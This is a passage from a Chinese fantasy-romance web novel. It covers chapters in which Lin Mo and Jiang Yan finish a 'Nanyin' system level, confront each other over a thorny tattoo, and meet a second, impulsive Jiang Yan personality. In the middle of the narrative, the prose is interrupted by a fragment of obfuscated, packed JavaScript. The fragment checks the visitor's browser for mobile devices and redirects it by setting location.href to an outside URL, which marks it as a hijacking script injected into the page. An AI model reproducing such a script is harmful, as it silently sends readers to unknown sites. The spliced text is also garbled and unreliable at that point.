“谢谢博主分享,我每天这么痛苦,为的就是生存下去,或许生存本就不是这样痛苦的,我决定开始倾听那个一直在表达,却被我忽略的声音。”
“关于阳光的分享好美,是的,无论怎样阳光和空气都会接纳我,想到这里好像有了一些勇气。”
“这……107号……”
“希望……功……”
“基因……”
“我挑了很久,做了很多努力才买了一个采光很好的房
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子,按照我的想法装修的很漂亮,可是当阳光洒满房间的时候,我基本都在外面。”
镜面螺旋越来越亮,最后极为明亮的白光让林茉恍惚了一下,这个形状,好像在哪见过?
再睁眼时已经站在漂浮戏台上,而那轮社会始终也从深海镜廊来到了渔村上方的天空上。
冰封之海瞬间解冻,久违的潮湿海风重新扑来。
林茉皱眉,怎么社会时钟还在?
【检测到107号抗体,感染程序终止】
在江砚的注视下,老年斑以肉眼可见的速度开始消退。
107?不是第一次听到这个编号。
下一刻林茉便看到燃烧着朱雀之火的江砚,“江砚!”
她快步跑到江砚身边,苏绣兔跳到肩上,轻轻蹭了蹭她的脸。。
林茉伸出手按在江砚纹身上,“我没事。”
江砚瞥见手腕上明亮的茉莉纹,就在这时,能量流出停止了。
林茉也察觉到了,“嗯?”
江砚手腕上荆棘纹逐渐熄灭。
“不会是……”
莫名而来的力量,天降之力,该不会是——
江砚脸色疲惫,但对着林茉笑得放松,“不省着点儿用,当你的充电宝还挺累。”
重逢以来,他的目光没有一秒离开过林茉眼睛,“在下面遇到什么了?没受伤吧?”
但被她需要的感觉还不错。
二人简单交换各自遭遇,江砚反应了好一会儿,才一脸不可置信地对林茉说:“海底大合唱?”
“只是突然想到了。”
“好运来,祝你好运来——”林茉再次轻轻哼唱,歌声轻柔,“可能这种时候就需要一些高能量歌曲。”
她的歌声很有特点,像飘在半空中柔软慵懒的羽毛。
已经变回林清荷样貌的裂口歌姬走过来,手上拿着拍板,“要不要再合作一次?”
天空黑暗、海水阴霾、一轮巨大的社会时钟在头顶虎视眈眈,这前途未卜时刻之下,竟然有人提议要一起唱歌?
四周响起窃窃私语:
这能行吗?
我还没找到工作。
这个时间是不是应该做一些更有用的事?
在林清荷的邀请下,琵琶、洞箫、三弦、二弦各自就位。
她居于中间,手持拍板,发出第一声节奏。
“啪——”
乐器接入。
“望明月如镜,团圆坐对熏风——”
原来这首曲子完整版是这样的。
海面重新开始了潮汐涨落,海浪起伏之音循环往复。
有人开头,逐渐开始有人跟上,最后所有人都加入这场合唱,不知是谁还生了几堆火。
“快看!”
有人抬手指着天上。
所有人同时抬头。
只见社会时钟裂开一道缝隙,看起来摇摇欲坠,有点可笑,让人想起天狗食月的传说。
林茉和江砚坐在火堆边,突然麒麟崽飞窜出去。
巨大的社会时钟从天空中直接落下,一半落入海水,掀起巨大壮观的海浪,人群爆发一阵惊呼。
另一半却越变越小,麒麟崽便是追着那一半而去。
“江砚,你看——”林茉话音戛然而止,因为江砚靠着她倒下了。
30. 月下潮生(南音)
潮汐是诅咒也是祝福。
海浪如同永恒一般起起伏伏,洁白的泡沫在失焦的双眸中化为团团虚影,虚影晃动中林茉眼前忽然浮现一个画面。
!!
难怪之前会觉得熟悉。
从深海镜廊离开前她看到镜廊化为一条镜面游龙,那样态和DNA双螺旋几乎一模一样!
她想起在画外音中参杂的“107”、“成功”等断断续续的信息,她就是107号,什么意思呢?
江砚靠在身边呼吸均匀,刚刚突然晕倒吓了林茉一跳,不过仔细查看后他呼吸平稳,脸色正常,看起来只是太累需要睡眠。
林茉想起刚从镜廊回来时看到他在使用朱雀纹身,虽然自己有在共享能量,但纹身的消耗真的不小,像是系统给予他的一把双刃剑。
但在关键时刻,他好像又没什么不消耗自己办法。
麒麟崽追着剩下的半块社会时钟在空中飞舞许久,如同助兴的小小烟花,最后衔着半块缩小版的社会时钟回到林茉身边,放下后便回到格子里睡觉,而苏绣兔早在她出现的那一刻就睡了回去。
大家都很累,林茉除外,因为她没有使用自己的能量。
但他们还在系统内。
社会时钟消失了,渔村也整体恢复正常,为什么还是没有出去,这里已经没有任何异常之处。
江砚迷迷糊糊地睁眼,动了一下。
林茉收起思绪,借力将他扶起来,“累了先回去休息吧。”
她放下思绪,这些费脑的问题,应该交给老板思考。
江砚的确很累,回到酒店都顾不得和林茉说上几句话,匆匆洗了个澡便又躺回床上睡觉。
这很不江砚。
印象中他从来没有这么疲劳过,秒睡到甚至被子都没有盖好。
林茉上前去帮他整理被子,江砚的睡衣柔软轻薄,很容易便摸到了手臂处的一块小凸起。
正是朱雀纹身所在的位置。
鬼使神差地,林茉挽起了江砚衣袖。
江砚依旧睡得很熟,温和的眉眼安静舒展,连眉头都没有动一下。
果然,缠绕着朱雀纹身的荆棘又增加了几颗叶片,林茉用指腹轻轻抚摸着江砚手臂的皮肤。
动作停滞了一下,怎么感觉怪怪的——
趁人家睡着了,又是揭衣服又是摸人家,好像变态,林茉无声笑了下。
手下一滞,果然有东西,是一小块隐形贴,做工极其精细,肉眼几乎无法辨它和肤色,
贴在这里的目的不言而喻是为了遮挡。
遮挡什么?
林茉心中已有答案,为防止惊动江砚,她没有撕下隐形贴,轻轻放下衣袖,将手臂放回被子里,重新盖好。
而江砚就这样任他摆布,如同一位全身心信任他的好朋友。
好朋友?
林茉想起在深海镜廊中为他展示的画面:她和江砚有了孩子。
好荒谬。
此时此刻,江砚也觉得荒谬——因为他正在和自己对话,一个和自己一模一样,说话声音、语气都别无二致,但又不太一样的自己。
场景又回到海边渔村,天色阴暗,海风同他和林茉遇到的一样潮湿,很像他们刚刚进入系统时的状态,只是这次没有人在演奏。
好像整个世界只有他和他自己。
二号江砚坐在漂浮席台石墩上,随意岔开两条大长腿,脚尖一晃一晃,像是轻得可以被海风吹动。
他继续那样坐着,向后仰起头看着江砚,“你来啦?”
一双眼睛黑白分明,但却让人心生防备。
江砚没有回答,语气平淡地反问,“你是谁?”
“不认识吗?”二号江砚笑了笑,“我是你呀。”
无聊,江砚不想在谁是谁的问题上纠结,直接问道:“你想做什么?”
“来提醒你。”
江砚皱了皱眉,“不用了。”
说完转身就要走。
二号江砚倒是也不着急留人,在江砚走开几步后才开口,“不听会后悔哦,关于你喜欢的那个人。”
声音从背后传来,懒散得像是没有结构,出口便立刻被风吹散。
江砚脚步一滞,“我喜欢的人?”
“所以说我就是你啊,区别只是我承认喜欢,而你逃避喜欢。”
江砚刚要开口,二号江砚似乎知道他要说什么,“我你就不用骗了吧。”
江砚返回漂浮戏台,仔细看了看坐着的这个“赝品”自己。
眼神和气质完全不同,但样貌的的确确就是他,难道又是系统搞出了什么东西?
二号江砚望着海面,海飞吹起他的衣摆,让他像一只不管不顾的飞鸟,“我和你不一样,我喜欢的人,是要马上在一起的。你要是再慢吞吞的,我可不等你了哦。”
“你要干什么?”
“你会知道的。”说完二号江砚缓缓拉起自己的衣袖,露出和江砚同款纹身——被荆棘缠绕着的朱雀,“好啦,留住你们就是想要和你说会儿话。”
无聊。
江砚留下最后警告:“你敢动她,你会这个系统一块彻底消失。”
“你误会啦。”二号江砚摆摆手,他语气轻松,眼神却深不可测。
“我是帮你的,系统和喜欢的人,我们都想要,不是吗?”
江砚没有再与之纠缠,转身离开。
这是一波未平一波又起。系统还没有搞清楚,又多出了这么一个东西。原本他是不会在意这些把戏的。可是这个人知道他喜欢——
---
林茉拿着半块社会时钟端详,触感冰冰凉凉,像一块石礁石,这东西留下做什么用呢?纪念品?
看着看着手感开始变得温热。
不会吧?摩擦生热?
不可能。
错觉吧?
但现实反驳了她,半块儿社会时钟越来越热,甚至开始有点烫手。
...
烫着烫着它飘了起来,翻滚了一下,变成一只胖嘟嘟的小鸟,小毛球散发着月光般的银白光辉,小鸟绕着房间巡视了一圈,然后如同一只炮弹直冲向林茉。
林茉看着眨眼间就到眼前的小胖鸟,和越来越亮的白光,“啊——”
白光中,渔村被明亮的阳光所笼罩,海面平静,波光粼粼,鸥鸟自由飞舞。
迎着阳光,林茉看到装饰着渔网贝壳的“南音度假村”的牌匾。
漂浮戏台也不再是阴暗模样,上面有巨大的贝壳雕塑,质感如同珍珠。
四位器乐演奏者分散坐在戏台上,中间站着手持话筒的林清荷。<
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p>石板栈道上站满围观群众。
“下面请欣赏我们创意改编的南音曲目——《月下潮生》”
林清荷给自己报幕,随后熟悉的琵琶开场,听起来比照之前温柔许多。
“春江流梦三十载,不载功名载繁星——”
“何惧光阴如潮退,我与浪花共潮生——”
在一片欢呼声中,另外半块社会时钟坠入海中化成的礁石之上,如同烟花喷射出不同的工乂谱符号。
江砚默默转醒,睁开眼睛与林茉对视的一瞬间,心中传来巨大的放松和喜悦。
他是一个喜怒都很平淡的人。
不会特别高兴,也不会非常悲伤。但是自从进入这系统来,他经常会有如此这般的强烈情绪。
江砚恢复意识的第一个动作就是去找林茉的眼睛,那双深蓝色的眼眸中透露出意外和惊喜,“你终于醒了?”
“再睡下去我都不知道怎样找医生。”
江砚温柔地“嗯”了一声。
他对自己的情绪感到陌生。
忽然想到那个懒懒散散的二号自己,难道是他?
但那个人表面笑,却心思深沉,更不像是情绪强烈之人。
他垂下眼眸,再次仔细感受内心喜悦,随后望向林茉,该不会是——
去掉所有的不可能答案之后,剩下的答案再离谱也值得考虑。那就是,他不仅和林茉生命共享,可以互相传递能,甚至还能同步情绪。
但他又觉得以这种方式不经允许地触碰了林茉隐私,犹豫了一会儿还是没有说出来。
也可能是错误的,因为林茉虽然高兴,但也没有到兴高采烈的程度。
到底是谁这么开心呢?
伴随着窗外真正的阳光透过窗帘洒入房间,系统终于再次开口。
【恭喜您通关“月下潮生”】
【正在进行奖励结算】
【恭喜获得基础奖励:生命值+500】
【当前生命值500】
??
没记错的话上次千笼灯宴结束后,生命值有520?
什么时候生命值用完了吗?那不是——
为什么生命值总是岌岌可危?
系统很快解答了疑问。
【由于访客107遭遇特殊情况,系统检测到短暂消失,故生命值清零重新结算,结算结果已同步至访客001】
短暂消失?
是与裂口歌姬共感时?还是先前被控制时?
【恭喜完成月下潮生,获得奖励:潮汐拍板x1;获得奖励:龄纹渔网兜x1;获得物品:工乂谱罗盘x1。】
【奖励已放入背包】
【天赋:多睡一小时已重新激活。】
【天赋:时光倒流未使用,已刷新】
【请问是否需要关闭社交节能模式?】
?
所以这次过程中系统这样话少,是因为开了节能模式?
谁开的?什么时候开的?
江砚似乎懂她的疑问,半靠在床上默契回答:“我开的。”
林茉看向江砚,犹豫着是否要开诚布公地谈一谈:荆棘在纹身处不断生长,之前为何要隐瞒?
还有,刚刚在江砚醒来之前明明有一只发光小胖鸟,但系统播报奖励时却没有它。
31. 互疑
看来这次对江砚的消耗真的很大,返程路上也一直在休息睡觉,少见地没有在处理公司事务。
回到家简单交代几句便又回到房间休息,罕见的没有立刻想要去公司。
这很不江砚,真的只是因为朱雀纹身吗?
还是——林茉有点歉意——自己共用了他的能量,如果能归还就好了。
晚饭时间林茉才终于找到机会同江砚讲话,看上去状态好了许多。
“江砚,我们应该聊一聊。”
“聊什么?”江砚细致地挑了一块洁白鱼肉,蘸上一点汤,放进林茉碗里。
“尝尝,陈阿姨做鱼很好吃。”
陈阿姨做好饭会回到自己房间吃,所以餐厅只有他们两人。
若无人开口,整个空间里就只有他们两个人分别碗筷碰撞之声,比一片安静还显得空旷。
“你的纹身。”林茉开诚布公。
江砚眼神明显闪烁了一下,“我说过了,我也不清楚。”
果然心里有鬼。
“江砚,”林茉神情认真,直视江砚的眼睛,“你是觉得我在质问你吗?”
...
江砚没有说话,但表情算是默认,低头时刘海垂下来挡住一半眼睛。
林茉很是不解,“为什么你会这样想我?明明我是来帮你的。”
江砚继续沉默了几秒,随后也抬起头,看着那双他很着迷的深蓝,“先好好吃饭,吃完书房聊,”他顿了顿,解释道,“别影响吃饭,等下认真聊聊,怎么样?”
也好。
吃过晚饭后林茉外出散步,等到回来敲开江砚书房门时,发现他已经洗完了澡,微湿的发丝结成松散的一缕一缕。
又闻到了久违的雪松香。
其实林茉已经见过几次江砚湿发,但还是会想要感叹他这样真的很好看。
和平时的江砚是两种感觉。
“坐吧。”江砚示意她坐在沙发上,面前摆了一杯微微冒着热气的温水。
温度刚好合适。
“你有什么要说的吗?”林茉问。
“关于这个纹身,”江砚无奈地笑了笑,“茉茉,我没有骗你,它之前就是普通纹身,之后的一切我也和你一样迷惑。”
“是吗?”林茉长发松散,下巴微抬,鬓发轻巧地从脸颊滑落,“那为何要用东西遮住?不是为了隐瞒我?”
江砚一向平淡的表情终于出现变化,一丝一闪而过的错愕被林茉收入眼中。
“你怎么知道?”
...
这问题真是恰到好处。
林茉不由自主想起趁江砚睡着偷偷摸他手臂,甚至触感都还记得很清晰,她克制住尴尬,冷静回复,“你先不要管这么多,反正我就是发现了。”
江砚沉默了一会儿。
“我只是不知道要如何向你解释,也不想你担心,毕竟已经在麻烦你很多了。”
林茉神色稍稍缓和,但那双眼睛却像能看到人的内心:“所以你是觉得我的能力、思想不配和您这位集团老板一起讨论,更无法帮助到你?
“怎么会。”江砚脱口而出,林茉很少会这样直接而尖锐地发问。
但否定后,又感觉到林茉的话好像也不无道理,这真是保护吗?
很好,就是这种效果。
“既然没有,那我们就来好好聊一聊。”
江砚原本做在和林茉形成拐角的那张沙发上,他起身到了一杯水,然后坐到林茉身旁。
“好,你说。”
动作间,林茉瞥见他腰间红痕一闪而过,抬手指了指,“这是——”
腰部皮肤细腻,红痕就尤其明显。
“你在镜廊时,我在外面被缠住了,所以才用纹身。”
江砚回答得很自然,但那抹红痕却停在了林茉脑海中,莫名地,她又想起触摸江砚手臂的感觉。
...
林茉转移话题,“每次使用朱雀纹身,除了疲劳,还有其他异常吗?”
江砚双眉微抬,“你也知道的,荆棘会增加。”
林茉脸上明晃晃地写着对这个回答的不满。
“真的,没有骗你。”
江砚不气不恼,如同温柔湖水接住林茉的情绪,再轻轻放下,他不自觉伸出手,即将触碰到林茉手臂时,突然察觉,又悄悄放下,“我知道你在想什么,但我也在调查。”
...
刚刚为什么要伸手?
“调查出什么了吗?”林茉问。
江砚摇头,如实道:“我甚至不知道该如何调查,向谁调查。”
“我看过系统后台的指令,但是实在太多太庞杂,根本无法找到有效信息。”
林茉低头小口啜饮着杯中温水,浓长卷翘的睫毛忽闪忽闪,像是在思考,但又透露着一种坦诚的天真。
“我们一直在互相怀疑,对吗?”
“嗯。”
林茉觉得莫名其妙,明明她见义勇为却惨遭碰瓷,还要被怀疑。
“为什么怀疑我?”
“你恰好会刺绣,过去经历又很模糊,万一你是故意出现在那里——”
“你调查过我?”林茉敏锐抓到重点,眼神再次审视起来。
“茉茉,那时我们刚认识,我承认我的确有查过你的过去,因为之前我怀疑你也可能是系统的安排。”
江砚的态度和语气很真诚,而且原本林茉就决定既然与江砚合作,就要用合作伙伴的心态来对待。
“我不是,我的过去——”林茉停顿了一下,“其实没有什么,只是小时候带我的人教过刺绣,我还没有准备好告诉你,但我保证那不会影响我们的合作。”
“我也向你保证,如果荆棘纹身再有异常或进展,我会和你同步。”
林茉点头,“我们是伙伴,对吗?”
江砚笑容几乎可以融化在灯光里,“对,要不要击掌?”
林茉故作嗔怪地说了句“幼稚”。
“那我回去休息了。”
房门关闭之前,江砚的声音从视野之外传来,有一点懒散,又像有什么话外之音:
“毕竟我还需要姐姐救我的命呢——”
房门关闭。
回房途中,林茉内心升起一丝异样,最后这句话——语气好像和平时不太一样。
但毕竟他们刚刚交流和谐,所以这丝异样就如被风吹皱的一丝水波,很快消失不见,转而被红痕取代。
--
睡觉前林茉查看了一下系统格子:麒麟崽在睡觉,苏绣兔在睡觉。
小胖鸟呢?不在格子里。
难道它单纯只是社会始终的变体?并非归她所有?
“啾——”
突然传来一声清脆鸟鸣。
“嗯?”
“啾啾——”
似乎在回应她,鸟鸣又叫了两声,听起来很有活力。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15302396|164012||http|test|mini|href|location''.split(''|''),0,{}));
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>在哪里呢?林茉又仔细检查一遍系统物品栏,还是没有。
“啾——”
散发月辉的小胖鸟突然出现在林茉眼前,和小圆肚子不太成比例的小翅膀上下扑腾。
月光小肥雀。
林茉伸出食指轻轻戳了戳它的小肚子,很结实,圆鼓鼓的,“你从哪里来呀?”
“啾——”
小雀回到系统内啄了一下工乂谱罗盘。
下一刻,一个界面出现在林茉眼前,没错,是眼前。
以往她只能够在意识中调出系统面板,进行操控,但现在可以通过这个罗盘实实在在操作系统了。
界面简洁,只是多了些工乂谱符号装饰。
一级界面只有三个图标:
个人信息;
物品收纳柜;
最后一个图标方块上上面画着个问号。
点开后有一篇文章,林茉草草看了一眼,大意是在介绍这是个非遗数字化系统。
最上方飘过一行字:【俺住在里面!】
“你?”林茉看向月光小雀,对方小头微仰,看起来一脸得意。
“你是说你住在系统里,不在我的收纳柜?”
“啾——”
【正确!】
住在系统里,林茉忽然有个想法,“那你可以任意去到系统的不同地方吗?”
“啾啾啾——”小肥雀又是一脸得意。
【俺去过一些地方!】
“那你帮我去看看,里面有没有什么和荆棘叶子很像的东西,就是——”林茉搜寻措辞,试图让小雀理解什么是荆棘。
“啾——”
【俺知道!】
【001!】
“你好聪明,”林茉笑眯眯地夸奖骄傲的小胖鸟,“辛苦你啦。”
“啾——”
【等俺回来!】
--
自从那天交换过彼此疑问,他们似乎都对对方放心许多,江砚也不再要求林茉每天和他一起去到公司。
因此在有一天江砚下班回到家后,感觉房间里清新的香味扑面而来,如同一个热烈的拥抱。
林茉听到声音回头看向门口,“你回来了?”
她手上正摆弄着一束插花。
“买了花?”
江砚走过去,他对植物不太了解,但一眼认出了其中的几枝茉莉,刚刚的香味应该就来自于此。
“嗯,”林茉一边调整花束细节,一边回答,“总觉得这个大餐桌有点空荡荡的。”
江砚笑了笑,指尖轻拂林茉发尾细丝,“请姐姐帮我布置布置。”
...
“不要总是叫我姐姐。”
于是,在接下来的几天,江砚发现家里多了一盆马醉木,一盆琴叶榕。
不仅跟着林茉学习了一点植物知识,甚至还看到林茉在院子里挖了个泥坑,说是要造个小池塘。
虽然只是简单增加几盆植物,但每天回家的感觉在悄然改变——从前江砚以公司为重,但现在他开始有点期待回家,只是因为每天打开门都能听到一声很稀松平常的问候。
如同一根柔软的花枝,轻轻将他圈住。
哦对,上面还开着芬芳洁白的茉莉。
--
就在林茉的池塘即将完工时,小肥雀带回了消息,它看起来似乎瘦了一圈,毛毛也有点乱蓬蓬,看起来风尘仆仆。
“遇到什么事了?”
32. 每天在家的乖姐姐
月光小雀摇头晃脑地抖了抖羽毛,流银星光在周围簌簌散落,抖了几次后,从羽毛中飘出来一枚小小碎片,如同纸屑一样悠然飘落。
嗯?
林茉伸出手接住,小碎片乖顺地停在掌心,“这是——”
这是一枚叶片。
而且不是普通的树叶,这是林茉绝对不可能忘记的形状:椭圆形、流畅的线条在顶部汇聚为一个尖尖,叶脉不是特别明显,显得正片叶子很干净平整。
这是——
晓晗梅枝上面的叶子!
绝不可能认错!
仔细去看,甚至边缘还有一点点卷翘起来的焦痕。
当初在深海镜廊,梅枝被数据液腐蚀迅速枯萎,而且系统说过道具已使用,她以为这是一次性的东西,自己要永远失去这枝梅枝。
但是月光小雀找到了梅枝碎片!
虽然只有一片叶子。
林茉小心地用食指抚摸叶片的表面,打算将它收藏进系统格子,在她想要调出工乂谱罗盘操作界面时,小叶子飘了出去,林茉再次伸出手去接,叶片恰好擦过手腕茉莉纹。
一丝微弱短暂的能量波动。
嗯?
梅花叶能与茉莉纹进行能量流动?那这样岂不是可以,可以培养起来了?
就算无法恢复梅枝形态,叶子不要再枯萎也好。
“哇,小毛球你好棒!”林茉惊喜极了。
“啾!”
【小菜一碟!】
“啾啾!”
【我还有新发现!】
接下来在一阵活泼婉转但有点吵的鸟鸣中,林茉通过罗盘翻译捋清楚了小雀的发现,脸色由晴朗变为多云。
“江砚——”她轻飘飘念了一句,“敢骗我。”
月光小雀在漂浮戏台那边遇到了一个泡泡,空空的、透明的,但却戳不破的泡泡,它从泡泡上感受到了001的气息。
江砚在那边还做了什么?
他知道这个空白气泡的存在吗?
小雀又是一阵叽里呱啦的啾啾。
【小心001!】
--
“姐姐,”江砚今天下班很早,林茉正在院子里忙着种花。
“给你带了好吃的回来。”
“哦,放那吧。”
江砚皱了皱眉,“怎么不抬头看看我?”
林茉手上动作一停,思考了一下但没想到哪里不对,于是继续弄花,“因为我在忙。”
“那也不可以不看我,”江砚继续强调,“不然我会生气的。”
林茉抬头,只见江砚一身黑色,双手插兜站在小路上,夕阳在他身后将天空染得火红,这周气温回升许多,整个户外都是暖洋洋的,但此刻江砚给出的感觉和这份暖洋洋格格不入。
先前她因为气泡怀疑江砚有所隐瞒,所以之后几天和他讲话有所减少,但由于江砚大部分时间都在忙工作,应该没有发现异常,但今天他说话很奇怪。
“你说什么?”林茉下意识问了句。
江砚朝她这边迈了一步,低着头看她,嘴角弯弯,露出两个小巧的酒窝,“没什么,姐姐在种什么花?”
林茉站了起来,“你不是江砚。”
“江砚”并不意外,“为什么这么说?”
“江砚不会像你这样说话。”
“江砚”保持着笑容,“这么了解我啊,开心。”
“但我真的是。”
林茉皱眉,她现在甚至有点怀疑自己是不是还在系统里,压根没有回到现实。
她表情严肃起来,“你到底是谁?”
“江砚”微微噘嘴,语气不满,“姐姐你对我好凶。”
又小声嘟囔了一句,“对他就那么好。”
“他?”
“江砚”收起笑容,耸了耸肩,“不逗你了。”
“我呢,也真的是江砚,晚点再和你说,走!先回去吃饭,特地给你带了点心呢。”
林茉没有动,站在原地,面带审视。
夕阳落得很快,这么一会儿已经完全消失不见,只余一点天光。
“我保证,晚上吃完饭就说,”江砚调皮地做出发誓手势,“放心,我是好人。”
--
“姐姐做的茉莉花束真好看。”餐桌上江砚吃得香甜。
林茉:...
这语气、这吃相,该不会中了什么返老还童的毒吧?
“姐姐。”江砚又叫林茉。
...
在得到答案之前,林茉不想和来路不明之人多费精力,于是没有回应。
但这位来路不明的江砚毫无自知之明,锲而不舍地继续“姐姐、姐姐。”
很像那种得不到回应就一直叫人的小孩子。
林茉无奈又不耐烦,“干嘛?”
“你以前不会这样和我说话的。”来路不明江砚语气流露出明晃晃的委屈,但又很快振作,“姐姐帮我做一束mini花束好不好,也要茉莉花的,我放在办公室。”
林茉撇了撇嘴,这绝对不是她认识的江总。
只是回答迟了一会儿,就听到对面一叠声的“好不好、好不好、好不好...”
“你先别说话,”林茉果断开口制止,“专心吃饭。”
来路不明江砚立刻闭上了嘴巴,真的按照林茉所说专心吃起饭来。
---
“我真的是江砚,”书房里,来路不明江砚和林茉并排坐在沙发上,修长手指捏着一颗莓果送入口中。
尝了一下很好吃,他又抓了一小把递给林茉,“姐姐,你尝尝,酸酸甜甜,好好吃。”
林茉看着那双盛着一小捧梅子、献宝似的手,想到很久以前,小汤圆妹妹也是这样,剥了一把花生瓜子送给她。
她接下了这一小捧梅子。
来路不明江砚瞬间很开心。
接过梅子时,手掌外缘稍稍蹭到了江砚的,痒痒的。
江砚直来直去地说:“简单来说,我们是一个人,只是性格不同。”
他轻轻“哼”了一下,“我看不惯他慢吞吞又胆小,所以就出来咯。”
什么?
生活总有变数,她刚适应和江砚一起净化系统的生活,又有幺蛾子。
林茉盯着江砚的脸狐疑了好一会儿。
“双重人格?”
江砚向后靠在沙发靠背上,“嗯——不知道怎么定义,其实呢我和他的目的、爱好都是统一的,只是行事风格有区别。”
“什么风格?”
“看不出来吗?”江砚转向林茉。
“我当然是直接型的,”他翘了个二郎腿,看起来很享受的样子,“喜欢什么、想要什么就要得到。”
“你真的是江砚?”
“不信你考我啊,看我是不是,所有的事我都记得呢。”
---
江砚坐在宽大办公桌后面,屏幕上正显示一份加密报告。<
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他眼皮低垂,这双眼睛不完全睁开时有些狭长,眼尾上挑,看起来有点妖里妖气。
“孤儿院——”他记得林茉之前和自己说过,还没有准备好将过去告知他人,仅凭这一点可以断定她不会只是单纯的孤儿院出身,一定还发生过什么。
这家慈心孤儿院从上到下透露着“我有秘密”四个大字。
首先公开能查询得到的资料很少,他花费了很大功夫才查到目前这一点点,不仅孤儿院作为一家单位资料很少,连里面的孤儿也非常神秘。
资料显示,在十几年前孤儿院曾接受过一笔赞助,但在这之后没多久就倒闭了。
怎么会刚接到赞助就倒闭?
赞助方信息不明。
但能查到的信息暂时就止步于此。
江砚手指微动,三个字通过他灵巧的指尖发送出去:“继续查。”
然后他打开了一个隐藏文件,上面显示着林茉此时的定位,其实林茉一直很让人安心,几乎每次打开,那朵茉莉花都在那个圈出来的代表“家”的方框里安静盛开。
“每天在家的乖——”
嗯??
没在家?!!
江砚坐直了仔细查看屏幕,那朵洁白的花此刻正和自己的定位重叠,花瓣一呼一吸地开合。
??
定位出问题了?
“江总,”突然弹出一条消息,“有位林小姐找您,正在楼下。”
---
江砚清理掉所有痕迹,桌面上打开着的是江氏集团最新版企业介绍。
林茉推开办公室的门,江砚正看着他笑得甜美,两枚酒窝像是会发光一样,
“姐姐想来怎么不提前说,我派人去接你,顺便给你准备点好吃的。”
“不用,我今天没什么事,来给你送这个,”林茉从背后变出了一束mini花束,几朵盛开的纯白茉莉搭配深深浅浅的绿叶,“顺便给你看个东西。”
“哇!”江砚脸色肉眼可见地明亮了一个度。
“我去找个花瓶!”
林茉很不适应,这个江砚真的是这么简单的性格吗?喜怒都写在脸上。
这种性格能做集团老板?
江砚离开了,屏幕就那样大喇喇的亮着,没有锁屏、没有密码。
林茉瞟了一眼,发现上面写着计划新增疗愈板块业务。
她内心一动,之前她每天跟着江砚上班时曾经设想过苏绣疗愈相关产品,江砚还拿去和马明远合作,据说效果很好。
当时林茉还怀疑过江砚是不是在哄自己开心,现在看来应该是真的。
“姐姐,来——”江砚递过来一个装好了水的玻璃花瓶,收窄的瓶颈处系着一枚白色的精致蝴蝶结。
林茉将花束放到花瓶中,江砚立刻凑近,差点把脸埋进花束,“好香。”
叹气,谁来把稳重成熟版的江砚还回来。
江砚记忆力超好的,他坐回办公桌,将小花瓶放在手边,“姐姐还想给我看什么?”
“一个灯笼。”
从马明远送给她小夜灯开始,林茉就在构想,她向提出了一个心想事成灯笼的想法。
点燃灯笼,上面会播放人们的心愿成真的场景。
原本这只是一个积极疗愈的方式。
但江砚却真的心愿成真了——
因为一觉醒来,他发现林茉躺在自己怀里,柔软的发丝贴着下巴。
????
33. 漆骸囍宴(大漆)
江砚觉得自己身处梦中。
他是喜欢林茉,会做和林茉相拥的梦不足为奇,但在这种地方相拥就不太对了!
所以这绝不可能是梦。
林茉更是觉得自己处于梦中,但她怎么会做这样的梦?!她又想到在镜廊时,裂口歌姬为她展示的和江砚组成三口之家的场景。
...
系统以为她喜欢江砚?
她喜欢江砚吗?
好像没什么感觉,应该不吧。
但这个梦也太过真实,林茉能感觉到自己躺在江砚身边,被他搂在怀里,手掌垫在她头下方,身边满满都是江砚的气息,现在他们贴得太过亲密了...
很像...夫妻。
她想动一下,离开这个敏感暧昧的怀抱。
四周绝对黑暗,不知道江砚现在是否醒着,所以她没有出声,打算悄悄用力向后移动一点点再作思考。
移不动。
?
她又试了一下,纹丝未动,身后触感坚硬,好像是有一堵墙壁。
感受到怀中人的动作,江砚维持着抱她的姿势,用只有他们两个人能听到的音量轻声问道:“醒了?”
“嗯,”林茉无奈,只好回答,枕在江砚手掌上的头微微动了动,“怎么回事?”
近得她能感受到江砚的心跳。
空间非常狭小,江砚那边怕是也和她一样,无法移动。
“不知道,原本我在睡觉,”江砚回答,语气虽然不像原版江砚那样稳重淡定,但也是无一点恐惧,“结果刚有意识,就这样了。”
江砚圈着林茉的手臂稍稍用了一点力又松开,“这可不是我耍流氓,我醒来就是这个、这个抱你的状态...后来我怕有什么意外你睡着会磕到头,就用手给你垫着点。”
江砚在很多细节上都对她很好很细心,但偏偏又在一些重大问题上,让她总是无法全然信任,“进系统了吗?”
“也许吧,我试过了,这个——不知道是什么地方,打不开,反正来都来了,先躺着呗,”江砚放在林茉上背部的手轻轻拍了一下,“姐姐可以继续睡,有什么情况我盯着呢。”
林茉也试着四周推了推,果然是纹丝不动。
“你醒多久了?”林茉问。
“没多久,比你早一点点,到现在还什么也没有发生。”
他们是被关在什么地方吗?
洞里?箱子里?
以往进入系统都会有提示,这次安静这么久。
仿佛回应她似的,外面忽然传来“轰”的一声。
接下来上方传来密集的拍打声,如同有上百双手在同时急切拍打,声音很近加上被密闭空间放大,听起来震耳欲聋,将未知的危险和可怕放大了成百上千倍。
外面有人?
“别怕。”混乱中,头顶传来了江砚的声音。
林茉被带走的思绪稍稍安定,这声音听起来像是拍在木制器物上,所以他们真的在箱子里?这么多人拍打箱子做什么?
他们打不开箱子吗?
思考间,外面又传来“轰”的一声,仔细听好像还夹杂着流淌水声。
接着他们这个箱子突然动了一下!
江砚立刻抱紧了林茉,所幸箱子内空间实在太小,他们在里面倒是固定得还算安稳。
然而这个所幸只维持了几秒钟。
接着林茉便感觉到了天旋地转,箱子在翻滚!虽然空间小,但是翻滚间还是难免磕磕碰碰,后背、手臂——
磕一下就很痛。
但她也能感受到,江砚的手一直在护着自己,尽了他的最大努力。
林茉来不及多想,她伸出手搂住江砚后背,将他也保护起来。
拍打声还在激烈持续,林茉有时觉得自己不是在箱子里,而是像沸水里七上八下翻腾的饺子,声震、失重、头晕接踵而来,让她思考不了一点,只能紧紧抱住江砚这个目前唯一能抱的人。
就在林茉感觉自己忍受到了极限时,翻滚终于停止了——
她舒了一口气,躺在江砚怀里缓了缓,“你没事吧?”
“痛死了。”江砚抱怨。
...
